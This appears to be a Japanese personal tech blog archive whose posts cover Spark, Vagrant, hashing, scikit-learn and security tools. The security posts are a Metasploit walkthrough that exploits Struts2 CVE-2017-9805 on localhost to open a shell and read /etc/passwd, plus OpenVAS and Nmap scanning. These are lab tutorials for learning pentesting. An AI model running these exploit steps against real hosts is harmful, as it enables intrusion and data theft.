CUBE SUGAR CONTAINER

技術系のこと書きます。

Apache Spark でクラスタリングすると動かなくなるプログラムについて

今回は Apache Spark をスタンドアロンで使っていると上手くいくのに、クラスタリングした途端に上手くいかなくなる状況がある、ということについて。

スタンドアロンなら上手くいく場合

まずは Apache Spark のコマンドラインシェルを起動する。 この場合はシングルノードのスタンドアロンで動かしている。

$ $SPARK_HOME/bin/spark-shell

複数の値が格納された RDD を作る。

scala> val rdd = sc.parallelize(Array(1, 2, 3))
rdd: org.apache.spark.rdd.RDD[Int] = ParallelCollectionRDD[0] at parallelize at <console>:24

そして、それらに対して foreach() メソッドで println() 関数を適用してみる。

scala> rdd.foreach(println)
1
2
3

この場合、直感的にも正しく動作する。

クラスタリングすると動かなくなる

続いて YARN を使ってクラスタリングした状況でコマンドラインシェルを起動する。

$ $SPARK_HOME/bin/spark-shell --master yarn

先程と同じように複数の値が入った RDD を作る。

scala> val rdd = sc.parallelize(Array(1, 2, 3))
rdd: org.apache.spark.rdd.RDD[Int] = ParallelCollectionRDD[0] at parallelize at <console>:24

そして、同じように println() 関数を適用してみよう。 しかし、今度は何ら出力されない。

scala> rdd.foreach(println)

シングルノードとクラスタリングしたという違いだけで動作が変わっている。

上記は rdd.foreach(println) という処理がワーカーノードで実行されてしまっているために起きている。 もし、ドライバ上で実行したいときは、次のように一旦 collect() メソッドでドライバに値を集約して実行しなきゃいけない。

scala> rdd.collect().foreach(println)
1
2
3

ワーカーノードに渡されるのは変数のコピー

同じような例をもう一つ紹介する。 今度は RDD に含まれる値の数を数えてみよう。

scala> val rdd = sc.parallelize(Array(1, 2, 3))
rdd: org.apache.spark.rdd.RDD[Int] = ParallelCollectionRDD[1] at parallelize at <console>:24

値の数を数え上げるためのカウンタとなる変数を用意する。

scala> var counter = 0
counter: Int = 0

そして、foreach() メソッドで RDD の値を数え上げる。 直感的には counter 関数の値は RDD に含まれる数だけカウントアップされるように感じるはずだ。

scala> rdd.foreach(x => counter += x)

しかし、実際には変数は 0 のままでカウントアップされていない。

scala> println(counter)
0

こんなことが、どうして起こるのだろうか?

これは Apache Spark でクラスタリングしたとき、ワーカーノードに渡される変数が単なるコピーであることに由来している。 カウントアップの処理は、各ワーカーノード上でコピーの変数に対して実行されるためドライバ上のオリジナルには反映されない。

ワーカーと値を共有するにはアキュムレータを用いる

上記を意図通りに動かすにはカウンタとなる変数としてアキュムレータを使う必要があるようだ。

scala> val rdd = sc.parallelize(Array(1, 2, 3))
rdd: org.apache.spark.rdd.RDD[Int] = ParallelCollectionRDD[0] at parallelize at <console>:24
scala> val counter = sc.longAccumulator
counter: org.apache.spark.util.LongAccumulator = LongAccumulator(id: 1, name: None, value: 0)
scala> rdd.foreach(x => counter.add(x))
scala> counter.value
res4: Long = 6

参考

spark.apache.org

Sparkによる実践データ解析 ―大規模データのための機械学習事例集

Sparkによる実践データ解析 ―大規模データのための機械学習事例集

Vagrant Cloud から取得した Box のバージョンを更新する

今回は Vagrant Cloud からダウンロードしてきた Vagrant Box を更新する方法について。 それにしても、最近は自分で Vagrant Box を作っていた頃なんてすっかり今は昔という感じだ。

使った環境は次の通り。

$ sw_vers
ProductName:    Mac OS X
ProductVersion: 10.12.6
BuildVersion:   16G29
$ vagrant --version
Vagrant 1.9.7

まず、次のように Vagrant Cloud からダウンロードしてきた Box が登録されている状況を考える。 使っている Box は Ubuntu 公式の ubuntu/xenial64 だ。

$ vagrant box list
ubuntu/xenial64 (virtualbox, 20170803.0.0)

そして、Vagrant Cloud に登録されている Box は、定期的にバージョンアップすることがある。 そんなときは vagrant box update コマンドを使って更新しよう。 更新する Box は --box オプションで指定する。

$ vagrant box update --box ubuntu/xenial64
Checking for updates to 'ubuntu/xenial64'
Latest installed version: 20170803.0.0
Version constraints: > 20170803.0.0
Provider: virtualbox
Updating 'ubuntu/xenial64' with provider 'virtualbox' from version
'20170803.0.0' to '20170830.1.1'...
Loading metadata for box 'https://vagrantcloud.com/ubuntu/xenial64'
Adding box 'ubuntu/xenial64' (v20170830.1.1) for provider: virtualbox
Downloading: https://vagrantcloud.com/ubuntu/boxes/xenial64/versions/20170830.1.1/providers/virtualbox.box
Successfully added box 'ubuntu/xenial64' (v20170830.1.1) for 'virtualbox'!

これで、次のように更新された Box が得られる。

$ vagrant box list
ubuntu/xenial64 (virtualbox, 20170803.0.0)
ubuntu/xenial64 (virtualbox, 20170830.1.1)

ちなみに、更新したい Box を使っている Vagrantfile がカレントディレクトリにあるときはオプションを指定しなくても良い。

$ ls
Vagrantfile
$ vagrant box update
==> default: Checking for updates to 'ubuntu/xenial64'
    default: Latest installed version: 20170830.1.1
    default: Version constraints: 
    default: Provider: virtualbox
==> default: Updating 'ubuntu/xenial64' with provider 'virtualbox' from version
==> default: '20170830.1.1' to '20170914.2.0'...
==> default: Loading metadata for box 'https://vagrantcloud.com/ubuntu/xenial64'
==> default: Adding box 'ubuntu/xenial64' (v20170914.2.0) for provider: virtualbox
    default: Downloading: https://vagrantcloud.com/ubuntu/boxes/xenial64/versions/20170914.2.0/providers/virtualbox.box
==> default: Box download is resuming from prior download progress
==> default: Successfully added box 'ubuntu/xenial64' (v20170914.2.0) for 'virtualbox'!
$ vagrant box list
ubuntu/xenial64 (virtualbox, 20170803.0.0)
ubuntu/xenial64 (virtualbox, 20170830.1.1)
ubuntu/xenial64 (virtualbox, 20170914.2.0)

めでたしめでたし。

macOS: ファイルのハッシュ値を計算する

ファイルのハッシュ値を計算するのに macOS だと何を使うんだっけ?と毎回なるのでメモしておく。 GNU Linux で使い慣れた *sum コマンドを使おうとすると、そんなものないよ!と怒られてしまうので。

$ md5sum
zsh: command not found: md5sum
$ sha1sum
zsh: command not found: sha1sum

使った環境は次の通り。

$ sw_vers
ProductName:    Mac OS X
ProductVersion: 10.12.6
BuildVersion:   16G29

MD5

ファイルの MD5 のハッシュ値を計算したいときは md5 コマンドがデフォルトで入っているので、それを使う。

$ md5 ubuntu-16.04-server-amd64.iso
MD5 (ubuntu-16.04-server-amd64.iso) = 23e97cd5d4145d4105fbf29878534049

SHA1

同様に SHA1 のハッシュ値を計算したいときは shasum コマンドを使う。 SHA 系のアルゴリズムは全てこのコマンドで計算できるため -a オプションでアルゴリズムを指定する。

$ shasum -a 1 ubuntu-16.04-server-amd64.iso
70db69379816b91eb01559212ae474a36ecec9ef  ubuntu-16.04-server-amd64.iso

SHA2

前述した通り shasum コマンドは SHA2 のハッシュ値も計算できる。 SHA256 であれば -a オプションに 256 を、SHA512 なら 512 を指定すれば良い。

$ shasum -a 256 ubuntu-16.04-server-amd64.iso
b8b172cbdf04f5ff8adc8c2c1b4007ccf66f00fc6a324a6da6eba67de71746f6  ubuntu-16.04-server-amd64.iso
$ shasum -a 512 ubuntu-16.04-server-amd64.iso
64cc359f1fb23181ba402d69a9fe787b5063156531cf44090a74fa8b4892294ee0c7a55d50b2f1875149326371796c7943ce07f171a54c9b8d617391af688eaa  ubuntu-16.04-server-amd64.iso

コンピュータネットワークセキュリティ

コンピュータネットワークセキュリティ

Metasploit Framework でペネトレーションテストを実施する

Metasploit Framework というのはオープンソースのペネトレーションテストツール。 ペネトレーションテストというのは、実際にシステムに対して侵入を試みるなど Exploit を実行するテストを指している。 その成功可否によって、システムが脆弱性の影響を受けるのかが確認できる。 そのため Metasploit Framework には既知の様々な脆弱性に対する Exploit が収録されている。 今回は、このツールを Ubuntu 16.04 LTS にインストールして試してみる。

注意: 不正アクセスとなるため間違っても外部のサーバに対して実行しないこと

環境は次の通り。

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.3 LTS
Release:    16.04
Codename:   xenial
$ uname -r
4.4.0-93-generic

インストール

Metasploit Framework のインストールは、次のようにインストールスクリプトを取得してきて実行するだけで良い。

$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
$ chmod 755 msfinstall
$ ./msfinstall
...(snip)...
W: --force-yes is deprecated, use one of the options starting with --allow instead.

どうやら最後に表示される Warning は、とりあえず無視しても大丈夫っぽい。

上記を実行すると Metasploit Framework のパッケージが入る。

$ sudo dpkg -l | grep -i metasploit-framework
ii  metasploit-framework                       4.16.5+20170906092721~1rapid7-1              amd64        The full stack of metasploit-framework

基本的な使い方

Metasploit Framework をインストールすると msfconsole コマンドが使えるようになる。 操作は、このコマンドで起動するシェル上で行う。

$ msfconsole

初回起動時には、次のようにデータベースのセットアップをするか聞かれるので y を入力しておく。

$ msfconsole

 ** Welcome to Metasploit Framework Initial Setup **
    Please answer a few questions to get started.


Would you like to use and setup a new database (recommended)? y

次のようにシェルが表示されれば正常に起動できている。

=[ metasploit v4.16.7-dev-                         ]
+ -- --=[ 1682 exploits - 964 auxiliary - 297 post        ]
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

操作方法としては、例えばまず search コマンドで使って収録されている Exploit を検索できる。

msf > search vsftpd

Matching Modules
================

   Name                                  Disclosure Date  Rank       Description
   ----                                  ---------------  ----       -----------
   exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution

目当てのものが見つかったら use コマンドで選択する。

msf > use exploit/unix/ftp/vsftpd_234_backdoor

それぞれの Exploit には入力すべきオプションがある。 これは show options コマンドで確認できる。

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic

上記の例ではオプションの RHOST が必須にもかかわらずデフォルト値のない空欄になっている。

そこで RHOST の値を埋める。

msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.33.11
RHOST => 192.168.56.11

あとは Exploit を実行するだけ。

msf exploit(vsftpd_234_backdoor) > exploit

以上が基本的な使い方の流れとなっている。

使い終わったら exit コマンドでシェルから抜ける。

msf > exit

実際に試してみる

今回は、先日巷をさわがせた Struts2 の脆弱性 S2-052 (CVE-2017-9805) を例に挙げてみる。

まずは Struts2 を動かすサーブレットコンテナとして Tomcat をインストールする。

$ sudo apt-get -y install tomcat

インストールすると、それだけでサービスが起動してくる。

$ sudo systemctl status tomcat7
● tomcat7.service - LSB: Start Tomcat.
   Loaded: loaded (/etc/init.d/tomcat7; bad; vendor preset: enabled)
   Active: active (running) since Tue 2017-09-12 10:45:40 UTC; 20s ago
     Docs: man:systemd-sysv-generator(8)
   CGroup: /system.slice/tomcat7.service
           └─5185 /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.

続いては、上記のサーブレットコンテナ上で脆弱性のある Struts2 の Web アプリケーションを動かす。 検証環境は、インターネットからアクセスできる範囲に作らないように注意しよう。

脆弱性を含んだ Struts2 のサンプルアプリケーションをダウンロードしてきてデプロイする。 今回の脆弱性は REST Plugin を使っているアプリケーションが影響を受けるので struts2-rest-showcase.war を使えば良い。

$ wget http://ftp.yz.yamagata-u.ac.jp/pub/network/apache/struts/2.5.12/struts-2.5.12-apps.zip
$ sudo apt-get -y install unzip
$ unzip struts-2.5.12-apps.zip
$ sudo cp struts-2.5.12/apps/struts2-rest-showcase.war /var/lib/tomcat7/webapps/

WAR ファイルが展開されていることを確認する。

$ ls /var/lib/tomcat7/webapps/
ROOT  struts2-rest-showcase  struts2-rest-showcase.war

これで準備が整った。 それでは msfconsole コマンドで Metasploit Framework のシェルを立ち上げよう。

$ msfconsole

今回の脆弱性に対応した Exploit の exploit/multi/http/struts2_rest_xstream を選択する。

msf > use exploit/multi/http/struts2_rest_xstream

オプションを確認すると Exploit の実行先として RHOST を設定する必要がありそうだ。

msf exploit(struts2_rest_xstream) > show options

Module options (exploit/multi/http/struts2_rest_xstream):

   Name       Current Setting                  Required  Description
   ----       ---------------                  --------  -----------
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                                       yes       The target address
   RPORT      8080                             yes       The target port (TCP)
   SRVHOST    0.0.0.0                          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080                             yes       The local port to listen on.
   SSL        false                            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /struts2-rest-showcase/orders/3  yes       Path to Struts action
   URIPATH                                     no        The URI to use for this exploit (default is random)
   VHOST                                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Unix (In-Memory)

今回は Exploit を受ける Struts2 のアプリケーションがローカルホストで動作しているのでループバックアドレスを指定する。

msf exploit(struts2_rest_xstream) > set RHOST 127.0.0.1
RHOST => 127.0.0.1

これで必要な設定が済んだ。 exploit コマンドで Exploit を実行しよう。

msf exploit(struts2_rest_xstream) > exploit

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP double handler on 127.0.0.1:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 1IeHfWRzrnKssQOS;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "1IeHfWRzrnKssQOS\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:46452) at 2017-09-12 10:54:09 +0000

上記で具体的に何をしているかというと、今回使った Exploit に関しては脆弱性を利用してバックドアを開いている。 そして、それに接続したコマンドラインシェルが立ち上がる、という動作になっている。

バックドアのシェル上で Linux のコマンドを打ち込むと、それに対する応答が返ってくる。

uname -a
Linux ubuntu-xenial 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

バックドアのプロセスは Tomcat が動作しているプロセスの権限で動作する。 そのため、破壊的な変更を加えるには何らか別の特権昇格が必要かもしれない。 例えばホストをシャットダウンさせようとしても権限がないと言われる。

shutdown -h now
Failed to set wall message, ignoring: Interactive authentication required.
Failed to power off system via logind: Interactive authentication required.
Failed to start poweroff.target: Interactive authentication required.
See system logs and 'systemctl status poweroff.target' for details.
Failed to open /dev/initctl: Permission denied
Failed to talk to init daemon.

とはいえ、情報漏えいについては十分に有効なので致命的な脆弱性だ。

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...(省略)

まとめ

今回はオープンソースのペネトレーションテストツールである Metasploit Framework を使ってみた。 一つ注意すべき点としては Metasploit Framework で攻撃が成立しなかったから、という理由だけで安心しないこと。 本来は影響を受けるのに、何らかの設定の不備で成立しなかっただけに過ぎないという恐れは多いにある。 なので、脆弱性のバックグラウンドや具体的な原理、そして Exploit の内部的な動作までちゃんと理解した上で使う必要がある。 つまり、脆弱性について一通り調べ上げた上で、最終確認に使うための手段といった位置づけで捉えておくと良いんじゃないだろうか。

コンピュータネットワークセキュリティ

コンピュータネットワークセキュリティ

Python: scikit-learn のハイパーパラメータを GridSearchCV で最適化する

機械学習のアルゴリズムにおいて、人が調整する必要のあるパラメータのことをハイパーパラメータと呼ぶ。 これは自動では決められないので、色々な値を試したりして汎化性能が高くなるものを選ばなきゃいけない。 今回はハイパーパラメータを決めるのに scikit-learn に実装されている GridSearchCV という機能を使ってみる。 これを使うと、あらかじめいくつか候補を与えることで、その中から汎化性能が高くなるものを選んでくれる。

使った環境は次の通り。

$ sw_vers 
ProductName:    Mac OS X
ProductVersion: 10.12.6
BuildVersion:   16G29
$ python --version
Python 3.6.2

下準備

まずは必要なパッケージをインストールしておく。

$ pip install scikit-learn numpy scipy

サンプルコード

次のサンプルコードでは GridSearchCV を使って DecisionTreeClassifier の最適なハイパーパラメータを探索している。 DecisionTreeClassifier というのは決定木のアルゴリズムを使った分類器を指す。 データセットには、みんな大好きアイリス (あやめ) データセットを使った。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from sklearn import datasets
from sklearn.tree import DecisionTreeClassifier
from sklearn.model_selection import GridSearchCV


def main():
    # アイリスデータセットを読み込む
    dataset = datasets.load_iris()

    # 教師データとラベルデータを取り出す
    features = dataset.data
    targets = dataset.target

    # 優れたハイパーパラメータを見つけたいモデル
    clf = DecisionTreeClassifier()

    # 試行するパラメータを羅列する
    params = {
        'max_depth': list(range(1, 20)),
        'criterion': ['gini', 'entropy'],
    }

    grid_search = GridSearchCV(clf,  # 分類器を渡す
                               param_grid=params,  # 試行してほしいパラメータを渡す
                               cv=10,  # 10-Fold CV で汎化性能を調べる
                               )

    # グリッドサーチで優れたハイパーパラメータを探す
    grid_search.fit(features, targets)

    print(grid_search.best_score_)  # 最も良かったスコア
    print(grid_search.best_params_)  # 上記を記録したパラメータの組み合わせ


if __name__ == '__main__':
    main()

説明はコメントでしてるけど、基本的には GridSearchCV に分類器とハイパーパラメータの候補を渡す。 その上でデータセットに対して学習 (fit) させると、最も汎化性能の高い組み合わせがメンバの best_params_ に入る。

実行してみる

上記のサンプルコードを適当な名前で保存したら実行してみよう。 すると、候補の中で最も高い汎化性能が得られるものは精度が 0.96 であることが分かる。 そして、そのときのパラメータは criterionginimax_depth3 ということが分かった。

$ python gridsearch.py
0.96
{'criterion': 'gini', 'max_depth': 3}

まとめ

scikit-learn でハイパーパラメータの調整をするときは GridSearchCV を使うと便利。

オープンソースの脆弱性スキャナ OpenVAS を使ってみる

今回はオープンソースの脆弱性スキャナである OpenVAS を使ってみることにする。 脆弱性スキャナというのは、ホストに既知の脆弱性が含まれないかどうかを自動でスキャンしてくれるツール。

注意: 脆弱性スキャンはポートスキャンやペネトレーションを含むため外部のサーバには実行しないこと

使った環境は次の通り。OS は Ubuntu 16.04 LTS にした。

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.3 LTS
Release:    16.04
Codename:   xenial
$ uname -r
4.4.0-89-generic

セキュリティ用途だと Kali Linux を使うことも多いみたい。

インストール

Ubuntu で OpenVAS を使うには以下の PPA を追加する。 追加したらリポジトリの状態を更新しておく。

$ sudo add-apt-repository ppa:mrazavi/openvas
$ sudo apt-get update

現行の OpenVAS バージョン 9 をインストールするときはパッケージ名として openvas9 を指定する。

$ sudo apt-get -y install openvas9

ちなみにインストールの過程で脆弱性をテストするための情報を更新するために rsync プロトコルを使う。 ファイアウォールで阻まれる恐れもあるので TCP の 873 ポートで通信できるか、あらかじめ確認しておこう。

インストールできたら脆弱性のテストに使うデータを更新していく。 過去に見つかった脆弱性とテスト方法の情報をダウンロードしてくるので、これには結構長い時間がかかる。

$ sudo apt-get -y install sqlite3
$ sudo greenbone-nvt-sync
$ sudo greenbone-scapdata-sync
$ sudo greenbone-certdata-sync

更新が終わったら OpenVAS のサービスを起動する。

$ sudo systemctl start openvas-scanner
$ sudo systemctl enable openvas-scanner
$ sudo systemctl start openvas-manager
$ sudo systemctl enable openvas-manager

次に OpenVAS のデーモンの設定を初期化しておく。

$ sudo openvasmd --rebuild --progress

最後に、脆弱性のテストに使う admin ユーザのパスワードを更新しておこう。

$ sudo openvasmd --user=admin --new-password=admin_new_password

これは後述する WebUI などを操作するときに用いる。

脆弱性をスキャンする

以上で OpenVAS を使う準備が整った。

TCP の 4000 番ポートで GSA (Greebone Security Assistant) という WebUI が使えるようになっている。

$ ss -tl | grep 4000
LISTEN     0      32        :::4000                    :::*                    

適当なブラウザで GSA を開こう。

$ sudo apt-get -y install firefox
$ firefox https://localhost:4000

自己署名証明書の警告が出るけど、ひとまず無視して開くと次のようなログイン画面が現れる。

f:id:momijiame:20170809002938p:plain

先ほどの admin ユーザと設定したパスワードでログインすると、次のようなダッシュボードに遷移する。

f:id:momijiame:20170809003038p:plain

脆弱性スキャンを実行するために Tasks の画面に移動する。

f:id:momijiame:20170809003055p:plain

Task Wizard を開く。

f:id:momijiame:20170809003233p:plain

ここにスキャンしたいホストを入力する。 今回は自分自身 (ローカルホスト) に対して実行してみよう。

f:id:momijiame:20170809003300p:plain

あとは OpenVAS がポートスキャンやらペネトレーションテストを粛々と実行してくれるので気長に待つ。

しばらくすると、次のように Result の画面で実行結果が見られるようになる。

f:id:momijiame:20170809003342p:plain

このホストの場合、弱いサイファースイートを受け付けるようになっているのが最も重要度の高い指摘事項だった。 Severity (重要度) は 10 段階中の 5 なので真ん中くらい。

f:id:momijiame:20170809003450p:plain

こんな感じで OpenVAS はホストの設定にどんな問題があるかを自動で調べてくれる。

まとめ

今回はオープンソースの脆弱性スキャナである OpenVAS を使ってみた。 当たり前だけど、脆弱性スキャナはこれさえ使っていれば OK というような代物ではない。 あらかじめ決められたルールで調べているに過ぎないので見つけられないものは数多くある。 しかし、あきらかに問題のある設定を自動で見つけ出してくれるというのは心強いんじゃないだろうか。

コンピュータネットワークセキュリティ

コンピュータネットワークセキュリティ

Nmap を使ってシステムに不要なポートが開いていないか調べる

今回はセキュリティの世界では有名な Nmap というツールを使ってみる。 このツールは、ポートスキャンや簡易な脆弱性スキャナーとして利用される。 例えば不要なポートが外部からアクセスできるようになっていないかを調べることは重要なポイントだ。 Nmap は高機能なので、とても全ては紹介できないから今回は基本的なポートスキャンについて書いてみる。

注意: ポートスキャンは攻撃と見なされるので外部のサーバには実行しないこと

今回使った環境は次の通り。

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.3 LTS
Release:    16.04
Codename:   xenial
$ uname -r
4.4.0-89-generic

インストール

Ubuntu であればリポジトリからインストールできる。

$ sudo apt-get -y install nmap

TCP ポートをスキャンする

試しに何もオプションを付けずに自身のループバックアドレスに対して実行してみよう。 これだけで主要な TCP のポートが開いているかどうかを一気に調べることができる。

$ sudo nmap localhost

Starting Nmap 7.01 ( https://nmap.org ) at 2017-08-07 12:32 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000045s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds

上記のスキャンで SSH 用の TCP:22 ポートが開いていることが分かった。

もちろんローカルホストで何処のポートが開いているか調べるだけなら ss なり netstat コマンドを使うこともできる。

$ ss -tl
State      Recv-Q Send-Q Local Address:Port                 Peer Address:Port                
LISTEN     0      128        *:ssh                      *:*                    
LISTEN     0      128       :::ssh                     :::*                    

とはいえ、ここで Listen しているポートがインターネットなど外部からアクセスできるかどうかは、また別問題。 そうした意味では、自前のシステムに外部からスキャンをかけてチェックするのには意味がある。

別のポートも開けてみる

試しに別のポートも開けて実行結果が変わることを確認してみよう。

例として Apache httpd をインストールしてみる。

$ sudo apt-get -y install apache2

ポートスキャンを実行する。

$ sudo nmap localhost

Starting Nmap 7.01 ( https://nmap.org ) at 2017-08-07 12:33 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000043s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds

先ほどの結果に加えて TCP:80 (HTTP) も開いたことが分かる。

スキャンのテクニックについて

Nmap には、テクニックと呼ばれるスキャンのやり方がいくつも用意されている。 スキャンをするとき、どういった通信が発生しているのかを確認してみることにしよう。 ちなみに、自前でテクニックを書いて追加することも可能らしい。

通信をキャプチャするために tcpdump をインストールする。

$ sudo apt-get -y install tcpdump

TCP SYN scan

管理者権限をつけて実行したときのデフォルトは TCP SYN scan と呼ばれるテクニックになっている。 これは -sS オプションを付けたときと同じ。

$ sudo nmap -sS localhost

Starting Nmap 7.01 ( https://nmap.org ) at 2017-08-07 12:38 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000040s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds

通信内容を確認すると TCP の SYN フラグのついたパケットを送信している。 それに対して相手が SYN/ACK を返すとポートを Open と見なしているのだろう。 ただし、実際にスリーウェイハンドシェイクは完了させず RST フラグのついたパケットを送って通信を切断している。 RST は Linux Kernel が送っているものかな?

$ sudo tcpdump -i lo "port 80"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
12:38:39.661017 IP localhost.36923 > localhost.http: Flags [S], seq 4178950553, win 1024, options [mss 1460], length 0
12:38:39.661036 IP localhost.http > localhost.36923: Flags [S.], seq 3106868738, ack 4178950554, win 43690, options [mss 65495], length 0
12:38:39.661042 IP localhost.36923 > localhost.http: Flags [R], seq 4178950554, win 0, length 0

TCP のセッションを実際には成立させないので、おそらく秘匿性にも優れていると思われる。

TCP connect scan

管理者権限をつけずに実行したり -sT オプションを指定したときに使われるのが TCP connect scan というテクニックになる。

$ sudo nmap -sT localhost

Starting Nmap 7.01 ( https://nmap.org ) at 2017-08-07 12:39 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000041s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds

先ほどと同じように通信内容をキャプチャしてみよう。 すると、今度は SYN > SYN/ACK > ACK というスリーウェイハンドシェイクが完了していることが分かる。 つまり TCP のセッションを実際に成立させているということだ。 おそらく、これはソケットのインターフェースを使って実現しているんだろう。

$ sudo tcpdump -i lo "port 80"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
12:39:23.661866 IP localhost.55316 > localhost.http: Flags [S], seq 55539266, win 43690, options [mss 65495,sackOK,TS val 189029 ecr 0,nop,wscale 7], length 0
12:39:23.661872 IP localhost.http > localhost.55316: Flags [S.], seq 3737402388, ack 55539267, win 43690, options [mss 65495,sackOK,TS val 189029 ecr 189029,nop,wscale 7], length 0
12:39:23.661878 IP localhost.55316 > localhost.http: Flags [.], ack 1, win 342, options [nop,nop,TS val 189029 ecr 189029], length 0

TCP のセッションを実際に成立させるので 、おそらく TCP SYN scan に比べると秘匿性は劣ることだろう。

その他、ポートスキャンのテクニックについては以下のページにまとまっている。 もちろんテクニックを選べば UDP のポートもスキャンもできる。

Port Scanning Techniques

Version Detection

これはテクニックとは異なるけど -sV オプションをつけると、オープンしているポートで動作しているアプリケーションについての情報も調べることができる。

$ sudo nmap -sV localhost

Starting Nmap 7.01 ( https://nmap.org ) at 2017-08-07 12:40 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000070s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.40 seconds

OS のバージョンとか、さらに詳しい情報まで得たいときは -A オプションが使える。

$ sudo nmap -A localhost

Starting Nmap 7.01 ( https://nmap.org ) at 2017-08-07 12:45 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000090s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e6:bb:3f:fc:95:3f:27:ab:68:45:c6:c1:90:fa:c2:11 (RSA)
|_  256 f7:cc:ba:13:46:ef:c9:e2:74:94:2f:bf:59:ef:19:c6 (ECDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.12 - 3.19, Linux 3.8 - 3.19
Network Distance: 0 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.89 seconds

まとめ

今回はセキュリティの世界で有名な Nmap というツールを使ってポートスキャンをする方法について書いた。 Nmap でポートスキャンすることで、システムの不要なポートが外部に公開されていないかを確認できる。 繰り返しになるけどポートスキャンといえど攻撃と見なされるので外部のサーバには実行しないように。

コンピュータネットワークセキュリティ

コンピュータネットワークセキュリティ